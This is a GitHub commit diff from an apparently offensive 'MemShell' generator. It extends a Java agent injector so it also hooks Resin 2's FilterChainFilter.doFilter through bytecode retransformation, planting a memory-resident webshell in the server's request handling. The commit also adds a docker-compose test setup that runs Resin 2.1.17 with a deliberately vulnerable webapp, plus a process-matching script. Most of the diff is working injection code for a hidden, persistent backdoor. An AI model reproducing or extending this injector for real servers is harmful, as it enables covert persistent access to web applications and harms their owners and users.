Skip to content

Commit 8455fc1

Browse files
committed
feat: support resin2 agent shell
1 parent 93971fc commit 8455fc1

File tree

3 files changed

+38
-21
lines changed

3 files changed

+38
-21
lines changed

generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinFilterChainAgentInjector.java

Lines changed: 26 additions & 20 deletions
Original file line numberDiff line numberDiff line change
@@ -14,9 +14,11 @@
1414
* @since 2025/3/26
1515
*/
1616
public class ResinFilterChainAgentInjector implements ClassFileTransformer {
17-
private static final String TARGET_CLASS = "com/caucho/server/dispatch/FilterFilterChain";
1817
private static final String TARGET_METHOD_NAME = "doFilter";
19-
18+
private static final String[] TARGET_CLASSES = new String[]{
19+
"com/caucho/server/http/FilterChainFilter",
20+
"com/caucho/server/dispatch/FilterFilterChain",
21+
};
2022
public static String getClassName() {
2123
return "{{advisorName}}";
2224
}
@@ -38,8 +40,10 @@ private static void launch(Instrumentation inst) throws Exception {
3840
inst.addTransformer(new ResinFilterChainAgentInjector(), true);
3941
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
4042
String name = allLoadedClass.getName();
41-
if (TARGET_CLASS.replace("/", ".").equals(name)) {
42-
inst.retransformClasses(allLoadedClass);
43+
for (String targetClass : TARGET_CLASSES) {
44+
if (targetClass.replace("/", ".").equals(name)) {
45+
inst.retransformClasses(allLoadedClass);
46+
}
4347
}
4448
}
4549
}
@@ -48,22 +52,24 @@ private static void launch(Instrumentation inst) throws Exception {
4852
@SuppressWarnings("all")
4953
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
5054
ProtectionDomain protectionDomain, byte[] bytes) {
51-
if (TARGET_CLASS.equals(className)) {
52-
defineTargetClass(loader);
53-
try {
54-
ClassReader cr = new ClassReader(bytes);
55-
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
56-
@Override
57-
protected ClassLoader getClassLoader() {
58-
return loader;
59-
}
60-
};
61-
ClassVisitor cv = getClassVisitor(cw);
62-
cr.accept(cv, ClassReader.EXPAND_FRAMES);
63-
System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME);
64-
return cw.toByteArray();
65-
} catch (Exception e) {
66-
e.printStackTrace();
55+
for (String targetClass : TARGET_CLASSES) {
56+
if (className.equals(targetClass)) {
57+
defineTargetClass(loader);
58+
try {
59+
ClassReader cr = new ClassReader(bytes);
60+
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
61+
@Override
62+
protected ClassLoader getClassLoader() {
63+
return loader;
64+
}
65+
};
66+
ClassVisitor cv = getClassVisitor(cw);
67+
cr.accept(cv, ClassReader.EXPAND_FRAMES);
68+
System.out.println("MemShell Agent is working at " + targetClass.replace("/", ".") + "." + TARGET_METHOD_NAME);
69+
return cw.toByteArray();
70+
} catch (Exception e) {
71+
e.printStackTrace();
72+
}
6773
}
6874
}
6975
return bytes;
Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,11 @@
1+
services:
2+
resin2117:
3+
image: reajason/resin:2.1.17-jdk6
4+
container_name: resin2117
5+
ports:
6+
- "8080:8080"
7+
- "5005:5005"
8+
environment:
9+
JAVA_TOOL_OPTIONS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
10+
volumes:
11+
- ../../../vul/vul-webapp/build/libs/vul-webapp.war:/usr/local/resin2/webapps/app.war
Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,2 +1,2 @@
11
#!/bin/bash
2-
pgrep -f Resin | tr -d '\n'
2+
pgrep -f 'Resin|-Dresin' | tr -d '\n'

0 commit comments

Comments
 (0)